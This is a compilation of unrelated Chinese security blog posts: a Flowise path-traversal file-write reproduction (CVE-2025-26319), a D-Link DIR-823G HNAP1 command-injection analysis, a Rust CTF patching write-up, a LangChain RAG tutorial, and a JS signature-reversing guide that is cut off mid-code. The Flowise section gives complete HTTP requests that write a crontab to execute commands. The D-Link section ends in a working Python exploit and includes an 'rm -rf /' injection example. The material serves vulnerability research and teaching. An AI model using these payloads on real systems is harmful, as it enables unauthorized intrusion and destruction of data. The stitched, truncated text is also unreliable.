FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
漏洞简介 Flowise是一款与LangChain兼容的开源低代码工具,使普通用户和开发人员都能通过可视化连线方式创建LLM工作流和AI应用。然而该平台存在严重的文件上传漏洞——尽管Flowise实施了上传校验机制,攻击者仍可通过特殊编码绕过限制,实现任意目录的文件写入。这一安全缺陷使未经授权的攻击者能够上传恶意文件、脚本或SSH密钥,从而获取对托管服务器的远程控制权,对使用该平台构建AI代理的组织构成重大安全威胁。 漏洞复现 安装环境后构造上传的数据包 POST /api/v1/attachments/test/test HTTP/1.1 Host: localhost:3000 Accept: application/json, text/plain, */* x-request-from: internal User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:3000/apikey Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 215 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="files"; filename="test.txt" Content-Type: text/plain This is the content of the file. ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 在服务器上查找上传文件的位置 再次构造数据包 POST /api/v1/attachments/..%2ftest/test HTTP/1.1 Host: localhost:3000 Accept: application/json, text/plain, */* x-request-from: internal User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:3000/apikey Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 215 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="files"; filename="test.txt" Content-Type: text/plain This is the content of the file. ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 在服务器上再次查找文件位置 成功实现跨越目录的上传操作 进一步的进行利用的话 可以通过向定时任务中写入文件实现任意命令执行 POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1 Host: localhost:3000 Accept: application/json, text/plain, */* x-request-from: internal User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:3000/apikey Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 657 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="files"; filename="root" Content-Type: text/plain # do daily/weekly/monthly maintenance # min   hour   day     month   weekday command */15    *       *       *       *       run-parts /etc/periodic/15min 0       *       *       *       *       run-parts /etc/periodic/hourly 0       2       *       *       *       run-parts /etc/periodic/daily 0       3       *       *       6       run-parts /etc/periodic/weekly 0       5       1       *       *       run-parts /etc/periodic/monthly * * * * * echo "a" >> /tmp/test.txt ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 漏洞分析 在Flowise平台的核心架构中,通过constants.ts 文件定义了一系列无需认证即可访问的API端点,这些端点被归类为WHITELIST_URLS 。该设计允许特定功能(如API密钥验证、公共聊天流和文件操作等)在未经认证的情况下运行,以提高用户体验和系统灵活性。 Flowise-main/packages/server/src/utils/constants.ts 当服务器接收到新的HTTP请求时,其鉴权流程遵循严格的逻辑顺序:首先检查请求路径是否包含"/api/v1"前缀(不区分大小写);接着进行大小写敏感的路径验证;随后系统会判断该URL是否存在于预定义的白名单中。若请求路径已被列入白名单,则继续处理;否则,系统会进一步检查请求头中是否包含"internal"标记,或尝试验证API密钥。 Flowise-main/packages/server/src/index.ts Flowise-main/packages/server/src/routes/attachments/index.ts Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment /api/v1/attachments/ 路由下存在上传创建文件的操作 Flowise-main/packages/server/src/utils/createAttachment.ts#createFileAttachment createFileAttachment 中会调用 addArrayFilesToStorage 来对文件进行处理 此时我们也可以看到对应的所有上传路由 /api/v1/attachments/:chatflowId/:chatId Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage 在 addArrayFilesToStorage 中对文件地址进行处理时,会将 chatflowId 和 chatId 未经处理也直接拼接到路径中,所以可以通过编码就直接绕过目录限制实现跨目录的上传。
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
前言 D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求,执行任意的操作系统命令。 漏洞分析 binwalk提取固件,成功获取到固件。 现在我们已经进入到应用里了,那么我们在进行分析固件的时候,应该怎么去分析这个情况?首先,我们去分析别人的漏洞,别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件,我们就得先知道这个固件有哪些应用,启动了哪些服务,最清晰和简便的方式就是去看我们etc文件下面,里面有个叫init.d的目录,里面是关于启动项的内容。 我们首先来看rcS下面的内容 vim rcS 首先是设置ip,然后挂载了两个文件系统分别是proc,这是与进程相关的文件系统,包括当前进程启动存放在哪个地址。 还有ramfs文件系统,根据以前的笔记,可知ramfs文件系统跟RAM相关。 然后下面就是判断是否还有挂载别的文件系统。 然后mkdir就是创建各种各样的文件夹,都有对应的功能,比如说创建了pptp文件夹,针对拨号上网的功能,然后还有smbd服务,可以看到创建了一个usb的文件夹,说明该固件有可以跟usb也就是U盘相关的操作,接下来都是一些配置信息。 继续往下翻 可以看到该固件启动了web server的web服务,也就是httpd的内容,这里启动的是goahead,通过这个名字,我们可以确定web服务就是goahead,如果想要分析web服务的话,就直接分析goahead就可以。 我们回到squashfs-root目录下,搜索goahead的一些简单情况 grep -ir "goahead" . 最下面是两个启动项的内容,可以忽略,然后第一行是bin的可执行应用,这个其实就是我们最后分析的内容。 那如何分析呢?它是一个HNAP1请求,那就可以去检索我们的HANP1请求 grep -ir "HNAP1" . 可以看到它检索到一些js代码,js代码对我们来说一般,(比较我们是找二进制相关的漏洞) 但是,我们可以发现它匹配了一个二进制程序,也就是goahead。 这里我们先科普一下goahead的一些情况: GoAhead ,它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。 goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。 它在进行编写与它相关的请求,是通过websUrlHandlerDefine来确定的。 websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0); websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0); websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0); 使用ghidra进行逆向分析,goahead二进制文件在squashfs-root目录下的bin目录下 那进入到goahead反编译界面该如何分析呢?一种是找到main函数去进行分析,比较耗时 一种是通过关键字来搜索,反推调用情况,来推测每个功能的解析情况 ctrl+shift+E 匹配成功,停在指定区域 但是它所对应的反编译代码还是很多的,所以我们可以通过反编译出来的函数名,进行查看它的调用关系。 一路往下翻,终于找到我们所要的东西 而且我们看到,这个函数继续往上调的话就是main函数了,所以其实一开始也是可以从main函数来分析的(0.0) 所以现在我们可以重点来分析这个函数 前面还是做一些判断,然后请求还有不止HNAP1,对应的都是一个函数。 同一个函数做的事情,类似于websUrlHandlerDefine这个函数,那HANP1对应的函数是 FUN_0042383c,那就双击进去看看 这里就是漏洞点,这里执行了memset和snprintf,一般来说这里应该是不存在漏洞点,但是下面一条语句是system,也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去,而snprintf这里的参数有个echo,有个单引号问题。 比如说正常代码 #!/bin/bash read -p "Enter your name: " name echo 'Hello, '$name'!' 攻击步骤: 正常输入:用户输入 Alice,输出: Hello, Alice! 恶意输入:用户输入 '$(id)',此时脚本实际执行的命令变为: echo 'Hello, ''$(id)'!' 输出: Hello, $(id)! 单引号内的 $(id) 不会被执行,暂时安全。 更危险的输入:用户输入 ' && rm -rf / #,命令变为: echo 'Hello, '' && rm -rf / #'! 此时,第一个单引号被用户输入的 ' 闭合。&& rm -rf / 成为独立命令,在 echo 之后执行。# 注释掉后续的 '!,避免语法错误。 那么会导致rm -rf / 会被执行,删除系统文件! 所以,如果我们构造一些恶意的代码写入到snprintf中,再传递到system函数,就会造成命令注入漏洞。 但是我们要进到漏洞点的话,还需要满足函数上面的一些要求。 所以我们得符合上面函数的一些限制才能进入到漏洞点来,这里先取了PTR_s_SetMultipleActions_00588d80的首地址,赋值给DAT_0058a6c4,然后DAT_0058a6c4自身判断和自加2来进行循环判断,用strstr函数查找DAT_0058a6c4在param_+0x524中出现的位置,并赋值给pcVar1,如果pcVar1的值不为0的话,就会进入到我们的漏洞点来。 DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关,双击进去看看 可以看到里面都是它对应的一些方法,比如说SetMultipleActions之类的。 固件模拟 分析到这里,基本上是明朗了,接下来就要进行固件模拟操作,使用firmadyne模拟固件启动。 sudo ./DIR823G_V1.0.2B05_20181207.sh 然后firmadyne默认的密码就是firmadyne 得等一段时间,然后192.168.0.1 但是这个一直搞不定,模拟不起来,也不知道是什么原因,排查不出。 然后换成了firmware analysis plus (fap)这个框架,就模拟起来了 等一段时间后,回车,就可以模拟起来了,输入192.168.0.1 进入向导,随便输入点东西 密码8位,输入12345678 然后就开始配置一些内容,同时可以注意到左侧已经把一些数据写入到关键的文件夹中 配置完毕,登录,成功进入路由器 exp编写 #!/usr/bin/env python #-*- coding:utf-8 -*- import requests ip='192.168.0.1' command="'`echo aaaaaaaaa > /web_mtn/test.txt`'" length=len(command) headers=requests.utils.default_headers() headers["Content-Length"]=str(length) headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36" headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"' headers["Content-Type"]="text/xml; charset=UTF-8" headers["Accept"]="*/*" headers["Accept-Encoding"]="gzip, deflate" headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8" payload=command r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload) 因为是http请求,所以我们使用requests,然后设置ip,设置命令,构造报头,最后post请求将HNAP1,headers和payload都传过去。 复现完毕,ctrl+a 然后x结束固件模拟。
ApoorvCTF Rust语言逆向实战
上周参加了国外的比赛,名称叫:ApoorvCTF 看一下老外的比赛跟我们有什么不同,然后我根据国内比赛对比发现,他们考点还是很有意思的,反正都是逆向,哈哈哈 Rusty Vault 题目描述: In the heart of an abandoned shrine, there's an old, rusted vault saidto guard an unspeakable secret. Many have tried to unlock it, but thedoor's demands are strange and no key seems to fit. 进入main函数,开始分析 这个命名方式,大概率是Rust语言 对于rust语言逆向,一般采用动态调试分析的方法 主要还是看汇编,因为F5根本看不出来啥东西。。。 从if比较处,可以看到成功和失败两个结果 那么这个比较绝对很关键 进入后发现,啥也没啊? 坏了,得看汇编,为代码估计又出问题了 发现了check2,果然为代码啥也看不到 对比check1-2 发现是在检测输入的字符串的字符类型,还是冲突的,不管了继续分析 下面可以看到失败 往下滑动可以看到成功 什么意思? 我猜测这题是改条件,然后动态输出flag?还有这好事 后面都是正常输出flag了 那么我们现在去解密的地方回溯,估计我要改一些判断,改变流程,让程序正常走到解密的地方,然后输出flag 教大家一个回溯方法 对标签疯狂X键,交叉引用定位回溯 最终定位到密文,发现是aes_128_cbc模式 需要:key+IV+密文=明文 这是一种思路,大家可以尝试 本文修改流程,让他自动输出明文 现在的思路就是: x键回溯定位关键标签,修改关键判断 让程序自动走向解密 nop掉check1 和 check2 让他们走向自动解密的方向 最终运行程序得到flag,静态patch流程,绕过check1-chekc2 apoorvctf{P4tch_1t_L1k3_1t's_HOt} 这在我们国内比赛还是很少见到的,国内大概率要写脚本解密,或许国内认为加密才是CTF的重点。国外侧重逆向本身,如果可以patch修改流程得到flag,为什么要去写解密脚本呢? 锻炼了我们通过汇编分析程序流程的能力,而不是为代码一键分析。
给大模型通过RAG挂上知识库
前言 因为大模型的知识库存在于训练期间,因此对于一些最新发生的事或者是专业性问题可能会出现不准确或者是幻觉,因此可以使用RAG技术给大模型外挂知识库来达到精准回答的目的。 实操 gpt4all 可以参考之前的文章:https://mp.weixin.qq.com/s/jeGqX-XYJRm-pFYEfkw2lw 他的优点就是通过UI在线下载模型和导入知识库,操作都比较一站式、傻瓜式。注意的是gpt4all的模型文件和ollama不通用。 open-webui 安装可以参考https://mp.weixin.qq.com/s/jeGqX-XYJRm-pFYEfkw2lw,也比较简单就不多赘述。 先看下在没有知识库的情况下,咨询相关问题时得到的结果是错误的: 可以通过如下方式进行知识库的构建: 右上角-工作空间-知识库-新增知识库空间-上传知识库文件 这个时候再咨询知识库中存在的内容时就可以得到满意的结果(引用的方式是在输入框中输入#): ima https://ima.qq.com/ima是腾讯出品的AI+知识库的软件。创建知识库的流程为: 首先有个缺点,它竟然不能上传markdown。还有些其他BUG,比如明明存在知识库,但是却选择不了: 因为没法设置prompt,如果你想让大模型每次都只从知识库中搜索不要联想,那么就就需要每次在输入框中输入特定prompt告知不要胡乱回答,结果发现又是混元问题,问答模型改成deepseek后好点: 终于明白这些公司为什么要接deepseek了,因此自己公司的太差。 langchain+chroma 上面介绍的都是通过图形化的方式进行,但是在一些工程化的地方可能没法进行图形化操作,接下来介绍使用代码的方式来进行让大模型外挂知识库。把文档投喂给大模型时需要先对文档进行向量转换,这里以https://github.com/chroma-core/chroma 官方代码为例: import chromadb # setup Chroma in-memory, for easy prototyping. Can add persistence easily! client = chromadb.Client()   # Create collection. get_collection, get_or_create_collection, delete_collection also available! collection = client.create_collection("all-my-documents")   # Add docs to the collection. Can also update and delete. Row-based API coming soon! collection.add(    documents=["This is document1", "This is document2"], # we handle tokenization, embedding, and indexing automatically. You can skip that and add your own embeddings as well    metadatas=[{"source": "notion"}, {"source": "google-docs"}], # filter on these!    ids=["doc1", "doc2"], # unique for each doc )   # Query/search 2 most similar results. You can also .get by id results = collection.query(    query_texts=["This is document1"],    n_results=2,   # where={"metadata_field": "is_equal_to_this"}, # optional filter   # where_document={"$contains":"search_string"} # optional filter ) print(results) 上述代码含义是创建了一个集合,并且往集合中添加知识库,每个知识库都必须有自己的独立id。注意,chroma只支持传入文本不支持直接引用文件,因此想要把文件转成向量需要先把文件读取出内容给到chroma才行。 得到的内容如下: {'ids': [['doc1', 'doc2']], 'embeddings': None, 'documents': [['This is document1', 'This is document2']], 'uris': None, 'data': None, 'metadatas': [[{'source': 'notion'}, {'source': 'google-docs'}]], 'distances': [[0.0, 0.2221483439207077]], 'included': [<IncludeEnum.distances: 'distances'>, <Inclu 其中distances代表是距离,笔者特地把搜索的问题和id为doc1的内容一致,因此可以看到得到的距离为0(距离越小,相似度越高),代表问题和文档一模一样,因此在后续投喂给大模型时,可以选择小于多少距离的投喂给大模型来解决token过长的问题。 接下来介绍https://github.com/langchain-ai/langchain,langchain功能和它的名字一样,简单理解就是它可以把各个东西和大模型串在一起,比如可以把上面chroma生成的文档向量投喂给大模型进行知识库问答。langchain牛逼的点是他做了很多第三方工具的集成,比如以langchains调用chroma生成向量数据库为例: from langchain_ollama import OllamaEmbeddings from langchain_chroma import Chroma from uuid import uuid4 from langchain_core.documents import Document   embeddings = OllamaEmbeddings(model="nomic-embed-text:latest")     vector_store = Chroma(    collection_name="example_collection",    embedding_function=embeddings,    persist_directory="./chroma_langchain_db", # Where to save data locally, remove if not necessary )   document_1 = Document(    page_content="I had chocolate chip pancakes and scrambled eggs for breakfast this morning.",    metadata={"source": "tweet"},    id=1, )   document_2 = Document(    page_content="The weather forecast for tomorrow is cloudy and overcast, with a high of 62 degrees.",    metadata={"source": "news"},    id=2, )   document_3 = Document(    page_content="Building an exciting new project with LangChain - come check it out!",    metadata={"source": "tweet"},    id=3, )   document_4 = Document(    page_content="Robbers broke into the city bank and stole $1 million in cash.",    metadata={"source": "news"},    id=4, )   document_5 = Document(    page_content="Wow! That was an amazing movie. I can't wait to see it again.",    metadata={"source": "tweet"},    id=5, )   document_6 = Document(    page_content="Is the new iPhone worth the price? Read this review to find out.",    metadata={"source": "website"},    id=6, )   document_7 = Document(    page_content="The top 10 soccer players in the world right now.",    metadata={"source": "website"},    id=7, )   document_8 = Document(    page_content="LangGraph is the best framework for building stateful, agentic applications!",    metadata={"source": "tweet"},    id=8, )   document_9 = Document(    page_content="The stock market is down 500 points today due to fears of a recession.",    metadata={"source": "news"},    id=9, )   document_10 = Document(    page_content="I have a bad feeling I am going to get deleted :(",    metadata={"source": "tweet"},    id=10, )   documents = [    document_1,    document_2,    document_3,    document_4,    document_5,    document_6,    document_7,    document_8,    document_9,    document_10, ] uuids = [str(uuid4()) for _ in range(len(documents))]   vector_store.add_documents(documents=documents, ids=uuids)   results = vector_store.similarity_search_with_score(    "Will it be hot tomorrow?", k=1, filter={"source": "news"} ) print("-----") print(results) print("-----") for res, score in results:    print(f"* [SIM={score:3f}] {res.page_content} [{res.metadata}]") print("-----") 上述代码意思是指生成10个文档,然后通过langchain内置的第三方模块能力把这10个文档写入到了example_collection集合中,且向量数据库持久化,保存的路径为chroma_langchain_db目录中,最后在向量数据库中以source为news、最接近的1个为条件文档中搜索问题: 接下来尝试使用langchain调用ollama进行与本地大模型进行沟通: from langchain_ollama import ChatOllama   llm = ChatOllama(    model="deepseek-r1:latest",    temperature=0.5, ) messages = [   (        "system",        "角色:你是IT小助手,你只回答IT相关问题,其他问题不回答。当别人问你是谁时,你回答:我是IT小助手。",   ),   ("human", "你是谁"), ] ai_msg = llm.invoke(messages) print(ai_msg) 上述代码通过设置system prompt来约束了大模型的输出: 上面提到chroma无法直接传入文件,因此langchian提供了https://python.langchain.com/docs/concepts/document_loaders/来实现读取不同类型的文件并输入给chroma。为了解决嵌入模型和大语言模型输入的的token限制,需要对文档进行分割,下面以读取txt文件为例,通过对内容进行分割,然后提供给嵌入模型转成向量并搜索相似度后,带入到大语言模型的上下文中进行提问: from typing import Dict import logging from pathlib import Path   from langchain_ollama import ChatOllama from langchain_core.prompts import ChatPromptTemplate from langchain_ollama import OllamaEmbeddings from langchain_text_splitters import RecursiveCharacterTextSplitter from langchain_community.document_loaders import TextLoader from langchain.chains import RetrievalQA from langchain_chroma import Chroma class VectorStoreQA:    def __init__(self,                 model_name: str = "deepseek-r1:latest",                 embedding_model: str = "nomic-embed-text:latest",                 temperature: float = 0.5,                 k: int = 4):        """        初始化 QA 系统                Args:            model_name: LLM 模型名称            embedding_model: 嵌入模型名称            temperature: LLM 温度参数            k: 检索返回的文档数量        """       # 配置日志        logging.basicConfig(            level=logging.INFO,            format='%(asctime)s - %(levelname)s - %(message)s'       )        self.logger = logging.getLogger(__name__)        self.k = k       # 初始化 LLM        self.llm = ChatOllama(            model=model_name,            temperature=temperature,       )               # 初始化 embeddings        self.embeddings = OllamaEmbeddings(model=embedding_model)               # 初始化向量存储        self.vector_store = Chroma(embedding_function=self.embeddings)               # 初始化 prompt 模板       # self.prompt = ChatPromptTemplate.from_messages([       #     ("system", """你的任务是且只基于提供的上下文信息回答用户问题。要求:1. 回答要准确、完整,并严格基于上下文信息2. 如果上下文信息不足以回答问题,不要编造信息和联想,直接说:在知识库中我找不到相关答案3. 采用结构化的格式组织回答,便于阅读"""),       #     ("user", """上下文信息:       #     {context}                   #     用户问题:{question}                   #     请提供你的回答:""")       # ])        self.prompt = ChatPromptTemplate.from_messages([           ("system", """上下文中没有相关资料的不要编造信息、不要从你历史库中搜索,直接说:在知识库中我找不到相关答案。"""),           ("user", """上下文信息:{context}            用户问题:{question}            请提供你的回答:""")       ])                  def load_documents(self, file_path: str, chunk_size: int = 1000, chunk_overlap: int = 200) -> None:        """        加载并处理文本文档                Args:            file_path: 文本文件路径            chunk_size: 文档分块大小            chunk_overlap: 分块重叠大小        """        try:           # 验证文件            path = Path(file_path)            if not path.exists():                raise FileNotFoundError(f"文件不存在: {file_path}")                       # 加载文档            loader = TextLoader(str(path))            docs = loader.load()                       # 文档分块            text_splitter = RecursiveCharacterTextSplitter(                chunk_size=chunk_size,                chunk_overlap=chunk_overlap           )            splits = text_splitter.split_documents(docs)                       # 添加到向量存储            self.vector_store.add_documents(documents=splits)            self.logger.info(f"成功加载文档: {file_path}")                    except Exception as e:            self.logger.error(f"文档处理错误: {str(e)}")            raise      def get_answer(self, question: str) -> Dict:        """        获取问题的答案        Args:            question: 用户问题        Returns:            包含答案的字典        """       # 使用similarity_search_with_score方法获取文档和分数          docs_and_scores = self.vector_store.similarity_search_with_score(              query=question,              k=self.k       )                 # 打印每个文档的内容和相似度分数          print("\n=== 检索到的相关文档 ===")          for doc, score in docs_and_scores:              print(f"\n相似度分数: {score:.4f}") # 保留4位小数              print(f"文档内容: {doc.page_content}")              print(f"元数据: {doc.metadata}") # 如果需要查看文档元数据              print("-" * 50) # 分隔线           # 提取文档内容用于后续处理          context = "\n\n".join(doc.page_content for doc, _ in docs_and_scores)         # 打印完整的prompt内容          print("\n=== 实际发送给模型的Prompt ===")          formatted_prompt = self.prompt.format(              question=question,              context=context         )          print(formatted_prompt)          print("=" * 50)         # docs = self.retriever.get_relevant_documents(question)         # 将文档内容合并为上下文         # context = "\n\n".join(doc.page_content for doc in docs)         # print(context)       # 创建chain并调用        chain = self.prompt | self.llm          response = chain.invoke({              "question": question,              "context": context         })          return response    def clear_vector_store(self):        """清空向量存储"""        try:            self.vector_store.delete_collection()            self.vector_store = Chroma(embedding_function=self.embeddings)            self.logger.info("已清空向量存储")        except Exception as e:            self.logger.error(f"清空向量存储时发生错误: {str(e)}")            raise   # 使用示例 if __name__ == "__main__":   # 初始化 QA 系统    qa_system = VectorStoreQA(        model_name="deepseek-r1:latest",        k=4   )       # 加载文档    qa_system.load_documents("/tmp/1.txt")       # 提问    question = "猪八戒是谁?"    result = qa_system.get_answer(question)    print(result) 总结 如果只是想简单尝试下大模型+知识库,那么gpt4all和ima都可以,毕竟都是图形化点点点就行,如果想要去自定义一些模型或者本身依赖ollama运行模型的话,可以选择open-webui,其可以有更多的自定义能力,如果想要在工程化中使用,建议使用langchain+chroma。
安全测试中的js逆向实战
一、简介 对于常见的web或者h5的场景中,一些重要的系统都会对于参数或者敏感数据进行校验,防止被恶意篡改而利用。因此在安全测试过程中,对于一些越权、注入等测试,需要对参数值进行修改重放,那么这个过程是否能够成功第一步取决于是否可以搞定校验算法并成功绕过。因此本文主要介绍安全测试中常用的一些js逆向的技术手段。 当然对于web场景中安全测试会遇到的一些校验场景,一般包括如下两类: 1)请求参数签名验证 2)请求、响应内容加密 二、常见浏览器调试方法 js中校验算法的查找定位以及逆向分析,需要对浏览器中的部分功能模块熟练掌握,接下来对其中的面板功能、断点调试方法以及断点天机方法进行介绍。 2.1 浏览器面板功能 chrome浏览器中的面板包括元素、控制台、源代码、网络、性能、内存以及应用等多个。重点介绍常见面板功能。 元素(Elements):可以查看DOM结构、编辑CSS样式,用于测试页面布局和设计页面; 控制台(Console):执行JavaScript脚本,也可以通过Console和页面中的Javascript对象交互; 源代码(Sources):查看Web应用加载的所有文件;编辑CSS和JavaScript文件内容,包括如下:(page: 所有资源文件;filesystem: 关联本地文件;overrides:可以做文件替换,比如替换JS;代码段:可以编写脚本,影响页面,代码记录); 网络(Network):展示页面中所有的请求内容列表,能查看每项的请求头、请求行、请求体、时间线以及网络请求的瀑布图等信息; 性能(Performance):分析网页的性能表现,包括加载时间,CPU使用率、内存占用等。可以录制网页的运行过程,进行详细的性能分析; 内存(Memory):用于记录和分析页面占用内存的情况; 应用(Application):查看Web应用的数据存储情况;IndexedDB;WebSQL;本地和会话存储;Cookie;应用程序缓存图像字体和样式表等。 2.2 断点添加方式 js逆向分析中有一个非常重要的功能需要掌握,就是下断点,接下来对常用断点方式进行介绍。 1)点击关键代码进行进行断点:通过点击代码便可以下断点 2)XHR断点:执行比较靠后,距离加密函数相对较近,可以根据栈快速定位 点击+号后直接输入需要定位的接口地址即可 3)DOM事件断点:执行的比较靠前,距离加密函数比较远 在Chrome开发者工具的Elements标签页中,找到你想要设置断点的DOM元素,右键点击该元素,选择"Breakon"选项,然后根据需要选择以下三种断点之一: ‌Subtree Modifications‌:当该节点的子树发生变化时触发断点。 ‌Attributes Modifications‌:当该节点的属性发生变化时触发断点。 ‌Node Removal‌:当该节点被移除时触发断点‌ 2.3 断点调试方法 通过设置断点,运行程序后就会断在设置好的断点处,这时就需要跟进代码执行,分析代码和数据的变化,梳理判断出校验的算法和逻辑,好进行利用。 图中红框依次功能如下: 跳过子函数(次态函数)执行(只在主函数内一步一步执行,不进入子函数内部) 进入子函数(次态函数)执行(在主函数内部一步一步执行,如果遇到子函数,会跳转到子函数内部一步一步执行) 跳出当前函数,回到调用位置 单步执行,会进入到函数内部 更加的细致 屏蔽断点 三、js逆向分析实战 了解了一些基础的调试操作内容,接下来针对js的逆向分析进行实操,本次主要以请求参数的签名验证和响应内容的加密两方面进行分析和绕过实战,这也是平时安全测试过程中最常见的两种场景。 3.1 请求参数签名验证实战 通过抓包可以看到该请求体中存在sign参数,值为一段数字字母 修改page内容,重新进行提交请求,返回错误,那么这时候想要测试注入等手法都是无法成功的,因为当重放是sign值是未变的,所以后端验证也是不通过的。接下来首先就需要找出sign的算法逻辑,尝试绕过后才可以进行测试。 3.1.1 算法分析 通过数据包分析判断为sign参数为参数校验,因此在调试解密直接搜索关键词sign=,成功在代码中查询到, 可以看到sign=Xt(a)这个方法,在此处点击下断点 通过断点可以看到Xt()方法中传入了n,n为一系列用户端数据和key值生成, 继续进入下一个函数调用,可以看到为Vt(),并传入了上边的t作为参数 查看Vt()方法实际名称为Et 进入Et函数,发现分别执行Rt->At->Tt三个方法,将最终执行完的结果返回。 三个方法具体内容也是在一起,依次进行执行,执行完Rt进入At执行 可以看到At中又包括Lt->Nt->Dt三个函数 依次进行下一个函数进行执行 进入Lt函数执行,可以发现大量循环操作等执行,如果没有太多意义可以跳出当前函数,进行下一个函数的执行 通用的执行方法进行Nt和Dt两个函数的执行和分析 当At函数执行完,可以看到返回了一串值 再进入Tt中执行 可以看出其实是一个字符串的对比操作 继续执行完Et后可以看出返回了遗传字符,应该就是我们的sign的值 继续跟进,可以看到对于这段值有做了一次大写的操作 完成后进行了返回 那这个时候也就分析完成了,我们可以确认Xt函数将入参执行完成后就会返回为sign用来做校验 在控制台获取传入的n值,并打印Xt(n)方法,额可以看到成功打印出我们需要的sign值 3.1.2 算法逆向绕过实战 通过上述的分析,可以看出该程序中的sign的获取是通过Xt()函数传入n值进行生成的,n为一个固定格式的用户的参数,那么便可以通过修改n的值生成sign来绕过校验了,接下来我们通过三种方法进行实操。 3.1.2.1 浏览器校验调用 抓包获取到详细数据包 修改参数重放失败 在获取到的n中将对应的参数page的值进行修改,打印Xt(n)生成一个新的sign 修改burp中的sign进行重放,成功获得数据,那么接下来便可以进行各类payload的参数测试了。 3.1.2.2 在线算法生成 通过该sign的值内容和长度可以初步判断出为md5加密所得,及Xt()方法为一个md5算法,因此利用在线md5平台,传入n的值,修改page参数重新生成大写的sign值 修改burp中的sign,成功重放 3.1.2.3 js代码补环境复用 通过算法分析可以看出主要调用Et()方法后进行一系列的函数调用,最后返回了需要的sign值,那么这时我们将该js中调用执行过的方法进行复制,在本地新建一个js,粘贴其中,最终打印Et()方法,Et中传入需要的值,也就是n,然后进行运行,如果存在报错缺少方法,缺哪个便去js中复制那个。 完成后执行该js文件,发现成功生成需要的值。 具体代码如下:  var St = 0;     function Et(s) {         return Tt(At(Rt(s)))     }     function At(s) {         return Dt(Nt(Lt(s), 8 * s.length))     }     function Tt(input) {         for (var t, e = St ? "0123456789ABCDEF" : "0123456789abcdef", output = "", i = 0; i < input.length; i++)             t = input.charCodeAt(i),             output += e.charAt(t >>> 4 & 15) + e.charAt(15 & t);         return output     }     function Rt(input) {         for (var t, e, output = "", i = -1; ++i < input.length; )             t = input.charCodeAt(i),             e = i + 1 < input.length ? input.charCodeAt(i + 1) : 0,             55296 <= t && t <= 56319 && 56320 <= e && e <= 57343 && (t = 65536 + ((1023 & t) << 10) + (1023 & e),             i++),             t <= 127 ? output += String.fromCharCode(t) : t <= 2047 ? output += String.fromCharCode(192 | t >>> 6 & 31, 128 | 63 & t) : t <= 65535 ? output += String.fromCharCode(224 | t >>> 12 & 15, 128 | t >>> 6 & 63, 128 | 63 & t) : t <= 2097151 && (output += String.fromCharCode(240 | t >>> 18 & 7, 128 | t >>> 12 & 63, 128 | t >>> 6 & 63, 128 | 63 & t));         return output     }     function Lt(input) {         for (var output = Array(input.length >> 2), i = 0; i < output.length; i++)             output[i] = 0;         for (i = 0; i < 8 * input.length; i += 8)             output[i >> 5] |= (255 & input.charCodeAt(i / 8)) << i % 32;         return output     }     function Dt(input) {         for (var output = "", i = 0; i < 32 * input.length; i += 8)             output += String.fromCharCode(input[i >> 5] >>> i % 32 & 255);         return output     }     function Nt(t, e) {         t[e >> 5] |= 128 << e % 32,         t[14 + (e + 64 >>> 9 << 4)] = e;         for (var a = 1732584193, b = -271733879, n = -1732584194, r = 271733878, i = 0; i < t.length; i += 16) {             var o = a               , c = b               , l = n               , f = r;             a = qt(a, b, n, r, t[i + 0], 7, -680876936),             r = qt(r, a, b, n, t[i + 1], 12, -389564586),             n = qt(n, r, a, b, t[i + 2], 17, 606105819),             b = qt(b, n, r, a, t[i + 3], 22, -1044525330),             a = qt(a, b, n, r, t[i + 4], 7, -176418897),             r = qt(r, 